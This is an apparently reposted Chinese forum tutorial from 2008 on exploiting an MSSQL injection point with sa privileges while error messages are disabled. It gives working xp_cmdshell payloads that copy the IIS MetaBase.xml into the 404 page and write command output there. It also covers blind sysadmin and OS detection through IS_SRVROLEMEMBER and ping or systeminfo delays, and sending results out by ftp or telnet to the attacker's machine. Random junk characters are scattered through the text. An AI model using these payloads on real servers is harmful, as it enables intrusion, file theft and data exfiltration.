遇到一个sa注入点,mssql错误提示关闭无疑shi让人郁闷的事情。
. T+ Y1 P$ Y# B( m/ w1 N+ Q! [4 ^ ?& d
虽然错误提示关闭也shi可能以列目录,执行命令,但shishi多少就有些不方便。阿D就可能以在错误提示关闭的情况下列目录。
- D0 x, n6 R D5 _- ]. B
* P4 g# i N1 O9 A5 ^% u. \ W 这里有一个很好的方法,让你得到web目录路径,让你得到服务器上的文件,让你执行命令得到回显。- W& V, H% l0 j9 e$ @& M
0 w' O( }* N/ V' v
IIS,404页面的默认路径shi C:\Windows\Help\iisHelp\common\404b.htm& Z( O3 J# }! M
6 v' b7 ?8 o2 H* [: j
得到web路径exec master..xp_cmdshell ’copy C:\Windows\system32\inetsrv\MetaBase.xml C:\Windows\Help\iisHelp\common\404b.htm’--
- {5 D, D# A' `4 O
* Y0 ]( o3 {( N- r$ u ,这shi20003,如果是2000的话,exec master..xp_cmdshell ’copy C:\Winnt\system32 \inetsrv\MetaBase.xml C:\Winnts\Help\iisHelp\common\404b.htm’--,在 MetaBase.xml存着IIS的很多信息。执行上面的语句之后,你再访问一下网站一个不存在的文件或目录,显示的就shiMetaBase.xml 的内容了。
$ N5 |5 z' g) |& |2 ]; ]+ q
g$ ^' y! P- c1 k, E! C6 g 执行命令得到回显5 `+ G1 S- h% d" Z7 O: y
% x& D z" d; S! }
通过上面得到web路径的方法,你肯定很容易想到怎么得到回显了吧。 2003,exec master..xp_cmdshell ’ver >C:\Windows\Help\iisHelp\common \404b.htm’--如果是2000,exec master..xp_cmdshell ’ver >C:\Winnt\Help \iisHelp\common\404b.htm’--9 z9 H2 v7 [# |* U
2 W- h; X$ G0 |7 L 得到文件也shi相同,把文件copy到404b.htm就行了
4 E, K( Y) S u$ g
/ ^% m, C4 q' f( B/ ^9 a by 28ice, 2008/6/26
% C2 [( j& {+ a% A, L8 O& ?
% t6 I' S0 J7 Y9 Y( y# [$ G: R 摘自 28度的冰1 ?* z+ E1 P# S5 E& `2 h) s) z1 s
* b. U$ Y- N7 l' D" r) k) Y 盲注判断权限和操作系统版本
. }. g3 ?* ^9 f4 _) o* e: r& R" X/ Y" n7 f
首先第一个问题,如果错误提示关闭,怎么判断当前的权限shi否为sysadmin呢?) g& m+ h- H m1 [% ~0 i
' u7 V* H, I9 f 最简单的,可能以用这样的方法:
2 I1 Q2 V- D6 ?' J$ d8 z
5 A/ }, O8 k7 B' } 1=(select IS_SRVROLEMEMBER(’sysadmin’))
* @5 ~# w/ ^/ H2 z1 v8 w+ v+ J& X' v
当然,有些情况下,这个方法并不奏效。
; F* y5 ?, {1 V: P) N4 M5 \' j2 o6 w8 @1 X
既然shisa,我们就可能以通过执行命令判断,不过,既然错误提示关闭,那么执行的结果就很不容易拿到。; G- W6 F% m2 U# ?2 W1 N+ P T, v
! L& E* B3 K- W+ ]$ ]1 q 有个3办法可能以解决这个问题- l6 O% X5 a8 I1 M
& u, G0 [ s- \4 V1 {+ x- G
a.把执行结果写到404b.htm,具体请看我的上一篇文章( Z$ D* E, v" Y! d2 E
( B4 `* e5 O* ?- T/ I: n: g& }
b.执行ping 127.1 -n 10,看看页面shi否延迟10秒钟
# q. L! y+ [4 \& L
! u, I/ S) j R0 r9 t# H: ^/ A c.如果1433端口可能以连接,那干脆新建个sql登录5 `" S7 A$ ?4 q, s
" O1 i5 o# F) l1 n4 @
d.如果大牛你shi公网Ip,openrowset,或者直接telnet,ftp到你自己的机子,说到这里,ftp还有别的用处,比如,把执行结果写到文件中,然后通过ftp传到你的机子上,这何尝不shi获得执行结果的一个好办法。当然,你可能能要用到ftp的-s参数
" a$ j1 d( C0 f7 t" k& ~
9 ?) d# m" w8 T. t6 ^% A5 n 还有一个问题,怎么判断系统shi2000还shi2003?当然指的shi错误提示关闭的情况下
; p# h6 x& V' t3 V1 v
4 J/ Y }7 u0 m' p/ b 很简单# u& C9 ?! U2 ^4 Q& Y! @
, w' D Z' ~0 ^* }
执行systeminfo
0 }1 m0 H4 G, y0 P9 _# f! ~$ y2 z
2 O# @) a% D* a 在xp/2003下才有这个命令,这个命令执行大概需要5秒钟时间。如果页面延迟5秒,就可能以进一步断定这shi2003(当然不排除2008的可能能性)。 |